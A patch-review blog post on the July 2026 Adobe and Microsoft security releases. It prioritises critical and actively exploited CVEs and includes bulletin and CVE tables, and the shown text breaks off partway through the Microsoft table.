<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
